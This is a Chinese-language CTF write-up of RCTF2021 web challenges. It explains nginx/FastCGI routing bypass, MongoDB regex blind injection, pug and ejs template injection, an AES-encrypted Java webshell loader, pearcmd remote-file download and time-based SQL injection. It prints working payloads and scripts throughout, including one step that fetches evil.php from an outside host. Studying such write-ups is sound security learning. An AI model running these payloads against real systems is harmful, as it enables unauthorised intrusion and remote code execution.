0%

[RCTF2021]挨打记录

[RCTF2021]挨打记录

RCTF2021 web wp,太难了,都不会,纯挨打,null的神仙全部ak,太牛逼了,等神仙的wp ing

Easyphp

这个题我来的时候就被队里另一个师傅秒了,后来复现的时候发现并没有想象中那么简单,那个师傅也算是误打误撞的猜出了结果,但并没有特别清晰的认识到这个题的原理

赛后认真再看了一下

nginx.conf

这个题对外是一个Nginx,反代内网的PHP,PHP用的一个叫flight的框架。先看nginx.conf

server {
    listen       80;
    listen  [::]:80;
    server_name  localhost;

    root   /var/www/html;
    location /admin {
        allow 127.0.0.1;
        deny all;
    }
    location / {
        index  index.php;
        try_files $uri @phpfpm;
    }


    # pass the PHP scripts to FastCGI server listening on 127.0.0.1:9000
    #
    location @phpfpm {
        include        fastcgi_params;
        fastcgi_split_path_info ^(.+?\.php)(/.*)$;
        fastcgi_pass   php:9000;
        fastcgi_index  index.php;
        fastcgi_param  SCRIPT_FILENAME  $document_root/index.php;
        fastcgi_param  REQUEST_URI  $uri;
    }

对Nginx的配置文件不是很熟练,阅读起来百度了好久。。。
location这个指令接受各种语法,这里就两项/admin/,这种类型就是简单的前缀匹配,所以所有以/admin打头的请求只要不是localhost发起的请求,一律403。而/则用来处理剩下的所有请求

index就是默认页面,请求如果啥都不带就返回index.php
这里还有一个try_files语句,请求的时候就去这里尝试,先直接访问请求的$uri文件在本机是否存在,不然就把这个请求转到下面定义的phpfpm处理,而这个nginx服务器上啥都没配,所以稳定丢给内网fpm
fastcgi给后端传了两个主要参数,一个SCRIPT_FILENAME,让fpm执行index.php,一个REQUEST_URI,用的是nginx自己解析的这个名为$uri的变量

flight框架

先看漏洞点在哪,已删减掉部分无用代码

function isdanger($v){
    if(is_array($v)){
        foreach($v as $k=>$value){
            if(isdanger($k)||isdanger($value)){
                return true;
            }
        }
    }else{
        if(strpos($v,"../")!==false){
            return true;
        }
    }
    return false;
}

$app->before("start",function(){
    foreach([$_GET,$_POST,$_COOKIE,$_FILES] as $value){
        if(isdanger($value)){
            die("go away hack");
        }
    }
});
$app->route('/*', function(){
    global $app;
    $request = $app->request();
    $app->render("head",[],"head_content");
    if(stristr($request->url,"login")!==FALSE){
        return true;
    }else{
        if($_SESSION["user"]){
            return true;
        }
        $app->redirect("/login");
    }
    
});

$app->route('/admin', function(){
    global $app;
    $request = $app->request();
    $app->render("admin",["data"=>"./".$request->query->data],"body_content");
    $app->render("template",[]);
});

$app->route("POST /login",function(){
    global $username,$password,$app;
    $request  = $app->request();
    if($request->data->username === $username && $request->data->password === $password){
        $_SESSION["user"] = $username;
        $app->redirect("/");
        return;
    }
    $app->redirect("/login?fail=1");
});

有一个过滤,对所有输入进行了检察,不允许目录穿越。然后是一个匹配全部路径的路由,如果请求的url中没有login,且用户没有登录,就直接重定向到login路由。login路由要成功登录的话必须输入的用户名和密码与其预设的密码强相等,用户名密码是硬编码的,所以这里已经不可能成功登录了
admin路由处接受一个GET的data参数,拼一个./后进行模板渲染
看一眼模板,这句有用

<?php if ($data) { ?><h3><?= $data . ":" ?></h3>
    <div class="bg-light border rounded-3"><code style="white-space: pre-line"><?php echo file_get_contents($data); ?></code></div><?php } ?>

直接file_get_contents
那么目标很明确,想办法访问到admin路由,然后传入一个data读根目录flag

题解

先直接给出payload
/aa/admin%3flogin&data=..%252f..%252f..%252f..%252fflag
乍一看好像很简单,就二次编码就过去了,所以乱按就有可能做出来
但说实话,这里不乱按可能想正常做出来还挺麻烦的

先来看一下这个框架是如何解析路由的,看到router.php

    public function route(Request $request) {
        $url_decoded = urldecode( $request->url );
        while ($route = $this->current()) {
            if ($route !== false && $route->matchMethod($request->method) && $route->matchUrl($url_decoded, $this->case_sensitive)) {
                return $route;
            }
            $this->next();
        }

        return false;
    }

$requst->url来自这段代码

Request.php
.....
'url' => str_replace('@', '%40', self::getVar('REQUEST_URI', '/')),
'base' => str_replace(array('\\',' '), array('/','%20'), dirname(self::getVar('SCRIPT_NAME'))),
.....
'query' => new Collection($_GET),
.....
        if ($this->base != '/' && strlen($this->base) > 0 && strpos($this->url, $this->base) === 0) {
            $this->url = substr($this->url, strlen($this->base));
        }

        // Default url
        if (empty($this->url)) {
            $this->url = '/';
        }
        // Merge URL query parameters with $_GET
        else {
            $_GET += self::parseQuery($this->url);

            $this->query->setData($_GET);
        }

过程就是把REQUEST_URI按照SCRIPT_NAME把前面半边截掉,把剩下的部分作为url
再看一下matchUrl这个函数

.....花里胡哨的这里没有用的代码
        if (preg_match('#^'.$regex.'(?:\?.*)?$#'.(($case_sensitive) ? '' : 'i'), $url, $matches)) {
            foreach ($ids as $k => $v) {
                $this->params[$k] = (array_key_exists($k, $matches)) ? urldecode($matches[$k]) : null;
            }

            $this->regex = $regex;

            return true;
        }

这里的$regex就是我们的路由,$url就是之前的url,这个正则虽然抽象了一点,但是试一下还是能发现其能够让/admin?xxx这种形式的输入匹配上/admin这个路由,在route这个函数的开始,他对我们输入的url进行了一次urldecode,所以我们如果访问的是/admin%3flogin这样的路径,在这里就会变成/admin?login这样的字符,且能被正确匹配到/admin路由上但其实有没有这个urldecode都一样
加上之前url初始化的时候用base截去了最后一个/前的所有内容,确保了我们使用/aa/admin%3flogin这样的路由访问能绕过nginx对/admin开头的匹配,又能让PHP正确匹配上路由

Q:为什么不能直接访问/aa/admin?login
A:因为nginx.conf中有一项fastcgi_param REQUEST_URI $uri;,作用为在向fastcgi传递一个REQUEST_URI参数,而该参数是被nginx解析过的$uri变量,该变量仅包括路径,不包括query_string。而url来自REQUEST_URI,就是这个nginx的$uri变量,不包含query_string,这样子后端收到的内容就是/aa/admin,并没有login字符,而根据index.php中的逻辑,没有login的话会被框架重定向到/login

接下来只需要提交一个数据到admin路由下就行了,代码中是将输入拼了一个./再读的,而全局过滤又禁用了../目录穿越,而这里我们用了一个二次编码就绕过了

看到query参数的解析,首先是直接把全部的$_GET赋值过来,这很合理
然后还有一步额外的解析

        // Default url
        if (empty($this->url)) {
            $this->url = '/';
        }
        // Merge URL query parameters with $_GET
        else {
            $_GET += self::parseQuery($this->url);

            $this->query->setData($_GET);
        }
    ......
    public static function parseQuery($url) {
        $params = array();

        $args = parse_url($url);
        if (isset($args['query'])) {
            parse_str($args['query'], $params);
        }

        return $params;
    }

这里先调用了一个parse_url,然后就补了一个parse_str,而parse_str在进行解析的时候会进行一次urldecode。成了

但是这里似乎还是有哪里不太对,因为URL是收的nginx转发过来的REQUEST_URI,我们如果使用%3f去让nginx认为/aa/admin%3flogin是一个完整的url,那么nginx在和fpm通信时,理论上是不会解码这个数据的,那么后端收到的url也应该是/aa/admin%3flogin,而在route的时候因为进行了url解码,所以能正确解析,但参数解析时并不会进行url解码,那么%3f后面的内容也就不会被parse_url放到$args['query']中去,也就不会经历第二次解码才对

Q:为什么要二次编码,如果nginx转发时不解码的话不是一次编码就行?
A:因为nginx他真的解码了一次,不然这里也没法继续做了,应该是出题人故意写了个不是那么正确的配置导致的这个问题

我修改了nginx和fastcgi的通信目的地,靠nc抓了一份通信流量下来,该流量中REQUEST_URI出现了两遍,后面一遍应当是在nginx.conf中配置发送的变量,且后端以后面的变量作为输入

SCRIPT_NAME/aa/aa/admin?login&data=..%2f..%2f..%2f..%2fflag
REQUEST_URI/aa/aa/admin%3flogin&data=..%252f..%252f..%252f..%252fflag
REQUEST_URI/aa/aa/admin?login&data=..%2f..%2f..%2f..%2fflag

我们发现,配置文件中通过$uri添加的REQUEST_URI被解码了一次,而这样就导致上面说的一切全部变得合理起来

Q:就算这样,一次编码过来直接解码了,这个数据也不在$_GET里面,不会被waf检测,为什么不能直接一次编码呢
A:因为这样子一次解码过来虽然直接解码了,但是出现了/,会被认为是一个路径,就要过路由选择,这样子就会被当成路由不带login然后被重定向掉

总结

我自己都快被绕晕了
这题的漏洞点在于,各种额外的urldecode。nginx的错误配置导致输入的uri被解码一次,这样子就能用%3f让nginx认为后面的内容不是query string,而nginx在发给后端时又解了一次码,在后端进行解析的时候因为解了一次码又成功的把变量解析进去了
路由绕过那个地方,因为nginx本身decode了一下,所以有没有urldecode都能绕过

正确的使用方法,我估计是把那行$uri去掉,或者改成$request_uri,这个是nginx和fpm通信的默认值,这个值是携带query_string但不会进行解码的,再把路由匹配前面的urldecode删掉,就无敌了

在修改$uri为$request_uri后,尝试如下payload
/aa/admin%3flogin?data=..%252f..%252f..%252f..%252fflag
这个显式的提交data,因为nginx不解码,所以在GET中解码一次也好,在parseQuery中解码一次也好,都只解码一次,不能用
若只编码一次,在GET中解码一次直接被waf拦截

/aa/admin%3flogin&data=..%252f..%252f..%252f..%252fflag
?改为&,由于发到后端没有解码,%3f不能当问号使了直接啥都没解析出来

就修好了

CandyShop

这个题比较简单,思路较为清晰,所以出的人也最多。。。呜呜

功能点不多,所以很好找入手点
user就登录注册两个功能,不过注册这里写死了一项,新注册的用户的active属性都是false,也就意味着新注册的用户都没法用

await db.Users.add(username, password, false)

那就只能去登录他已有的用户了,数据库初始化的时候有这么一项

users.insertOne({
    username: 'rabbit',
    password: crypto.randomBytes(32).toString('hex'),
    active: true
})

不过这个密码超级随机数[a-z0-9]{64},爆破是不可能的了,并且十分钟重置一次环境,神仙来了都爆不出来
看看登录的地方,因为用的是MongoDB,这种nosql数据库和普通SQL区别比较大,一般来说不会有什么注入的地方,除非用了where语句

router.post('/login', async (req, res) => {
    let {username, password} = req.body
    let rec = await db.Users.find({username: username, password: password})
    if (rec) {
        if (rec.username === username && rec.password === password) {
            res.cookie('token', rec, {signed: true})
            res.redirect('/shop')
        } else {
            res.render('login', {error: 'You Bad Bad >_<'})
        }
    } else {
        res.render('login', {error: 'Login Failed!'})
    }
})

这里其实非常可疑,之前在注册时对输入的用户名进行了类型校验,而这里没有,且当我输入用户名密码登录成功后,还检查了一遍这个用户的用户名密码和我输入的用户名密码是否一致。理论上如果我是输入用户名密码登录进来的那这里绝对是一致的,那这里就必然是在防一手注入,也就意味着有我不懂的nosql注入存在

搜了一下发现是在查询时通过数组的方式去添加条件项进行查询,比如{"password":{"$ne": 1}}这样一句,就是寻找一个password不是1的记录,而这样的查询可以通过password[$ne]=1来提交,这样子就能万能密码登录,但这里防了一手万能密码,不过翻文章看到存在一个条件项为$regex,支持正则表达式。盲注搞定
写一个垃圾脚本

import requests
import time

url = "http://123.60.21.23:23333/user/login"
password = ""
numset = "1234567890"
charset = "abcdef"
for i in range(64):
    data = {"username": "rabbit", "password[$regex]": "^{}.*".format(password + "[a-z]")}
    res = requests.post(url, data)
    if "You Bad Bad" in res.text:
        for c in charset:
            data = {"username": "rabbit", "password[$regex]": "^{}.*".format(password+c)}
            res = requests.post(url, data)
            time.sleep(0.2)
            if "You Bad Bad" in res.text:
                password += c
                print(password)
                break
    else:
        for n in numset:
            data = {"username": "rabbit", "password[$regex]": "^{}.*".format(password+n)}
            res = requests.post(url, data)
            time.sleep(0.2)
            if "You Bad Bad" in res.text:
                password += n
                print(password)
                break

稍微二分了一下注的快一点,不然十分钟重置一次光注入都要一两分钟。。。
登进来之后看能用的功能,就这一个能用,剩下的要么就没能输入的东西,要么就输入的东西不可控

router.post('/order', checkLogin, checkActive, async (req, res) => {
    let {username, candyname, address} = req.body
    let tpl_path = path.join(__dirname, '../views/confirm.pug')
    fs.readFile(tpl_path, (err, result) => {
        if (err) {
            res.render('error', {error: 'Fail to load template!'})
        } else {
            let tpl = result
                .toString()
                .replace('USERNAME', username)
                .replace('CANDYNAME', candyname)
                .replace('ADDRESS', address)
            res.send(pug.render(tpl, options={filename: tpl_path}))
        }
    })
})

直接进行模板内容的替换再渲染===模板可控
找一找pug的模板注入怎么打翻到了如下payload

但在pug中不能直接使用require,而是采用global.process的形式
❗️根据pug的语法,-后面表示变量或者表达式

闭合一下后面的括号,再把垃圾注释掉就行
这里遇到一个小坑,就是pug这个模板语法对缩进的要求有点严格,之前打半天打不通,本地搭了环境之后报错似乎是说我缩进不对,然后又是换行又是加缩进的,总算是把命令执行掉了

11')%0d%0a    -var%20x=eval("global.process.mainModule.require('child_process')['execSync']('whoami').toString()")%0d%0a    -return%20x%0d%0a    //-

又:pug模板能include外部文本,但是在不指定后缀的情况下会默认添加pug后缀,所以这里不能直接include,但是有一个题flag是flag.txt就能直接include进来

CheckIn

没看懂怎么打,但是我看懂了所有人提交的内容都可以在issue里找到,那必然有人的payload能拿到flag,有些人发了1-100000的全部数字,有的人只发了几个数字,随便翻了翻,翻到几个人在issue里的数字就那么一两个,拿起来一交就成了

ezshell

虽然是个misc,但感觉还是有点web
不过很简单
访问上去能直接给个war包,反编译出来就是个shell
题目描述说了半天冰蝎,但事实上冰蝎并连不上去,因为冰蝎的马应该是有密钥协商过程的,他这里直接硬编码了密钥。其实就是一个写好了的shell让你自己写个代码连上去。然后题目还说所有出站流量关了,估计就是不能弹shell出来之类的,只能通过你主动和他交互的应答包获取数据
至于强调了半天的冰蝎basicinfo,可能是指你要用冰蝎basicinfo搜集信息的地方获取flag

先看看他的shell怎么写的

    protected void service(HttpServletRequest request, HttpServletResponse response) {
        try {
            String k;
            if (request.getMethod().equals("POST")) {
                response.getWriter().write("post");
                k = "e45e329feb5d925b";
                HttpSession session = request.getSession();
                session.putValue("u", k);
                Cipher c = Cipher.getInstance("AES");
                c.init(2, new SecretKeySpec(k.getBytes(), "AES"));
                byte[] evilClassBytes = (new BASE64Decoder()).decodeBuffer(request.getReader().readLine());

                class U extends ClassLoader {
                    U(ClassLoader c) {
                        super(c);
                    }

                    public Class g(byte[] b) {
                        return super.defineClass(b, 0, b.length);
                    }
                }

                Class evilClass = (new U(this.getClass().getClassLoader())).g(c.doFinal(evilClassBytes));
                Object a = evilClass.newInstance();
                Method b = evilClass.getMethod("e", Object.class, Object.class);
                b.invoke(a, request, response);
......没用的代码
}

感觉像是仿冰蝎写了个用aes加密的恶意类加载器。。。

然后翻一个冰蝎出来,反编译一下,在net.rebeyond.behinder.payload.java下找到basicinfo模块,看看都获取了些啥

Map<String, String> env = System.getenv();
Properties props = System.getProperties();

好像也没啥,还有些当前目录,OSinfo啥的,这里肯定没什么用
那就自己手写个垃圾class呗,按照他那个类的内容写,把冰蝎和他的代码缝合一下,产生如下的缝合怪

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.util.Iterator;
import java.util.Map;
import java.util.Properties;
import java.util.Set;

public class Test {
    public void e(Object a,Object b) throws IOException {
        HttpServletRequest request = (HttpServletRequest) a;
        HttpServletResponse response = (HttpServletResponse) b;
        Map<String, String> env = System.getenv();
        Iterator var5 = env.keySet().iterator();
        StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>");

        while(var5.hasNext()) {
            String name = (String)var5.next();
            basicInfo.append(name + "=" + (String)env.get(name) + "<br/>");
        }
        Properties props = System.getProperties();
        Set<Map.Entry<Object, Object>> entrySet = props.entrySet();
        Iterator var7 = entrySet.iterator();

        while(var7.hasNext()) {
            Map.Entry<Object, Object> entry = (Map.Entry)var7.next();
            basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>");
        }
        response.getWriter().write(basicInfo.toString());

    }
}

然后凭借我垃圾的java水平,虽然能缝合一个加密和文件读取,但是java的文件读取和http请求也太折磨了,不太会用,交给python解决
他的加密没写类型,就当最简单的ECB用,init那的mode写的是个数字2,有点抽象,但是看其他代码那填的是加密还是解密,应该不是加密方式。就按这个写
网上搜个python AES的加密代码,魔改一下

import requests
from Crypto.Cipher import AES
import base64


url = "http://124.70.137.88:60080/shell"
key = b"e45e329feb5d925b"
f = open(r"D:\Java\projects\untitled1\target\classes\Test.class", "rb")
class_byte = f.read()
f.close()

bs = AES.block_size
pad = lambda s: s + bytes((bs - len(s) % bs) * chr(bs - len(s) % bs), encoding='utf8')
cipher = AES.new(key, AES.MODE_ECB)
encrypt_class = cipher.encrypt(pad(class_byte))
base64_class = base64.b64encode(encrypt_class)
res = requests.post(url, data=base64_class)
print(res.text)

拿到flag

VerySafe

不会。这个题代码都没有,就一个caddy反代一个内网的PHP fpm,内网fpm就一个index.php,且无内容
caddy感觉是个类似于nginx的服务器,然后这里写了个规则把所有PHP后缀的访问反代到内网PHP fpm上。那第一反应肯定是打fpm啊。搞不好有什么crlf之类的洞呢,然后又开本地环境调试。发现不同字段之间似乎有奇怪的不可打印字符分割,暂时没找到有什么规律可言。而http header等各项属性均不允许存在不可打印字符,似乎CRLF打不通。搜索历史漏洞,无果,不会

赛后请教rmb神仙,他和我说是用目录穿越,用PHP自带的一个叫PEAR的依赖,里面有一个pearcmd.php,可以进行任意文件下载

caddy和nginx有点像,代理服务器和fpm通信时均会发送一个SCRIPT_FILENAME来指定fpm执行哪个文件,并且这个路径是绝对路径,但是nginx会对路径做处理,如果uri开头就是../,则直接返回400,如果是aa/../index.php这种的,也会把跳目录的所有内容先解析掉再发送到后端,所以nginx就不存在这种目录穿越
而这里caddy的配置是这个样子的

:80 {
        root * /srv
        php_fastcgi php:9000
}

但是他和后端通信的时候,直接是把请求的uri拼在这个root上作为SCRIPT_FILENAME发过去的,就导致能目录穿越到别的地方,去执行其他的脚本

pearcmd具体没仔细看,是个包管理器,能下载安装包,还能指定路径,并且下载的文件格式不对他也不管,反正就是下下来了。。。

但是这个文件理论上应该是在命令行上运行的,接受的参数是$argc $argv这种的,但是PHP有一个配置名为register_argc_argv,默认为On,但php.ini中默认为Off,在未指定php.ini时会启动(据说docker大多都未指定php.ini),且该属性可以通过.user.ini来进行修改
这个属性开启后,PHP会注册$argc,$argv这两个变量,并且可以从$_SERVER['argv']中获取到该值,并且该值可以通过GET请求提交,但这里变量的分隔符变为了+,而不是常见的&

能任意文件下载的话就下一个后面再目录穿越包含就行了
/../usr/local/lib/php/pearcmd.php?+install+-R+/tmp+http://ip/evil.php
evil.php要把后门内容echo出来哦。。。。

多了一个在PHP功能点只有一个include的情况下,除开upload_progress又一个攻击的手段

看官方wp环节

RCTF 2021 Official Writeup
说到底官方wp看起来详细实际上还是有点抽象啊。。。不自己找点东西根本不能理解

提一嘴,官方wp里在EasyPHP下提到$uri不会urldecode,是fpm进行的decode,我觉得不对,我之前直接改端口抓的流量显示是nginx自己将$uri这个变量解码了,如果使用的变量是$request_uri是不会解码的

EasySQLi

出题人强行引流,wp还引,我直接卧槽嘉畜

<?php
require_once('db.php');
highlight_file(__FILE__);

set_time_limit(1);
$s = floatval(microtime());

$order = $_GET['order'] ?? 1;
$sql = "SELECT CONCAT('RCTF{',USER(),'}') AS FLAG WHERE '🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬' ORDER BY $order;";

$stm = $pdo->prepare($sql);
$stm->execute();
echo "Count {$stm->rowCount()}.";

usleep((1 + floatval(microtime()) - $s) * 1e6);

一开始我连代码逻辑都看不懂,因为这里又设置了set_time_limit(1);又在最后进行了一个usleep,而usleep的时间稳定大于1s,也就是百分百会延时1s退出
但题目提示又是时间盲注,给人整懵了

后来是看了gml神仙的wp,在set_time_limit中有这样的限制

Note:
The set_time_limit() function and the configuration directive max_execution_time only affect the execution time of the script itself. Any time spent on activity that happens outside the execution of the script such as system calls using system(), stream operations, database queries, etc. is not included when determining the maximum time that the script has been running. This is not true on Windows where the measured time is real.

也就是说SQL本身的延时并不在这个计时范围内,但是由于他本身有1s的延时,所以SQL注入的延时也得再来个1s左右以进行判断。
并且这里where语句的条件恒为假,选不出来数据,就没法order by,本地测试的时候如果数据只有一条,也不会对其进行order by
gml神仙提到pdo默认配置是允许堆叠注入的,不过这里关了,所以还需要找办法

理论上这个语句已经无敌防御了,因为无论如何order by后面的语句都不会被执行,但这里有一点非常奇怪。首先我们知道order by处是无法进行预处理的,其次是出题人的预处理语法也写的和没写一样,因为他先把参数拼完再进行预处理,而不是像正常使用一样先放个占位符(当然这是看完wp后进行反推的结果嘻嘻)

然后跟着wp进行测试,发现预处理时会对某些操作进行运算,比如提到的updatexml的报错,如果在这里使得updatexml中的操作耗时极长,就可以造成延时的效果
为什么不直接sleep?因为我试了一下预处理的时候不会对sleep进行执行,达咩达咩

预期解是超级阅读MySQL源码,对不起我太弱了

所以这里可以用updatexml配超级repeat来延时,或者套几十层hex,每套一层计算量乘2?

SELECT
    CONCAT( 'RCTF{', USER (), '}' ) AS FLAG 
WHERE
    '🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬' 
ORDER BY
(
    updatexml (1,
        IF(
            ASCII(SUBSTR((SELECT USER()), 1, 1 )) = 65,
            CONCAT(REPEAT('a', 40000000), REPEAT('a', 40000000), REPEAT('a', 40000000), REPEAT('a', 40000000), REPEAT('b', 10000000)),
            1
        ),
        1
    ) 
)

还有出题人的ReDos payload

SELECT
    CONCAT( 'RCTF{', USER (), '}' ) AS FLAG 
WHERE
    '🍬关注嘉然🍬' = '🍬顿顿解馋🍬' OR '🍬Watch Diana a day🍬' = '🍬Keep hunger away🍬' OR '🍬嘉然に注目して🍬' = '🍬食欲をそそる🍬' 
ORDER BY
(
    SELECT 1 WHERE
        IF(
            ASCII(SUBSTR(USER(), 1, 1 )) = 65,
            REPEAT('a', 100),
            'a'
        )
        RLIKE '(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+(a.*)+b' 
)

gml神仙最后提到这些操作如果携带了from table这样的语句就不会延时了(那么表内字段行不行?待考据),但是我本地用这个语句试了一下还是延时的,不过我本地的MySQL是5.5的远古版本了,可能和新版本不一致,也有可能是我这个payload并不是放在if的判断处?

 prepare a from 'select * from users where 0 order by (updatexml(1,if(1,(select id from users where username=concat(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(hex(111111)))))))))))))))))))))))))))))),1),1))';

以及也提到MySQL在8.0.22修了updatexml的延时问题,只有在都是常量的时候比较还有可能延时,其余的都不行了

xss it?

好玄幻哦,我一直以为ejs无敌转义来着,知道ejs有原型链污染下的rce,但是没想到没有原型链污染,就纯前端版本的ejs也能打rce

以及我感觉这个题是个xs-leak,可惜也没做出来
官方wp提到三个做法,一个无原型链污染rce,被修了之后可以用Unicode绕过,一个xs-leak打法,以及一个老版本bot的非预期

解1

最好理解的无原型链污染、options可控下的rce
具体分析过程即为wp中给出的参考链接
Nodejs中模板引擎渲染原理与潜在隐患探讨
攻击手段即为利用ejs的允许的部分参数,在渲染的时候插入代码,在compileDebugfilename均存在的情况下,可以将用户可控的代码写入渲染模板中的注释
使用换行即可逃逸注释符,写入代码,并可以使用finally字段来使得在try catch返回之前执行插入的代码
然而此处的ejs版本为3.1.6,文章中的影响版本截止3.1.5,在3.1.6中对传入的filename进行了JSON.stringify()的操作,输入的\u000d\u000a被转义成\r\n(并且是那种转义到\r\n不代表换行仅为对应字符串的程度),需要进行绕过,通过查阅文档,找到新的分隔符\u2028进行换行绕过

同文章中提到的内容,正常流程下代码无法执行到这一步,可以使用两种方法进行绕过,1是文章中的finally强行在try结束时调用,2是wp中的定义escapeFn函数,js中有提升这一说法,后面定义的函数也能在定义前进行调用

任意代码执行之后直接发出来就行,这里有一个变量__lines应该就是当前被渲染的属性值?
asoul={"jiaran": "1", "xiangwan": "2", "nailin": "3", "jiale": "4", "beila":"5", "compileDebug": true, "filename":"aa\u2028finally{alert(__lines)}//"}

解2

这个感觉比较预期,打一个xs-leak,上面这个解可能是什么神仙干出来的
预期解为修改分隔符,把原来的%替换为进行猜测的数据,通过渲染成功与否进行判断

输入的模板为<%= jiaran+xiangwan+beila+jiale+nailin %>RCTF{this_is_a_flag_you_should_pay_attension_to_asoul_to_get_it}
而我们将分隔符由%变为%= jiaran+xiangwan+beila+jiale+nailin %>
这样子,如果flag匹配上了,原模板会被解析为<自定义分隔符RCTF{this_is_a_flag_you_should_pay_attension_to_asoul_to_get_it}
而这种情况下,ejs会认为找不到模板标签结束符,从而抛出错误,若自定义分隔符未能与模板匹配,则会认为该模板中没有标签,进行原样输出,正常加载

终端测试如下

>ejs.render("<%= 12345 %>flaggggg", {"delimiter":"%= 12345 %>"})
<ejs.js:741 Uncaught Error: Could not find matching close tag for "<%= 12345 %>".
    at ejs.js:741
    at Array.forEach (<anonymous>)
    at Template.generateSource (ejs.js:731)
    at Template.compile (ejs.js:586)
    at Object.compile (ejs.js:397)
    at handleCache (ejs.js:234)
    at Object.exports.render (ejs.js:424)
    at <anonymous>:1:5
>ejs.render("<%= 12345 %>flaggggg", {"delimiter":"%= 12345 %>a"})
<'<%= 12345 %>flaggggg'

参考链接

全是在学nginx语法。。
Nginx 的基础内置变量 / Nginx 重写 url 的模式
一文理清 nginx 中的 location 配置
PHP FastCGI Example
Node.js漏洞学习-GYCTF2020 Node Game
register_argc_argv与include限制php任意文件下载的小结
gml神仙的wp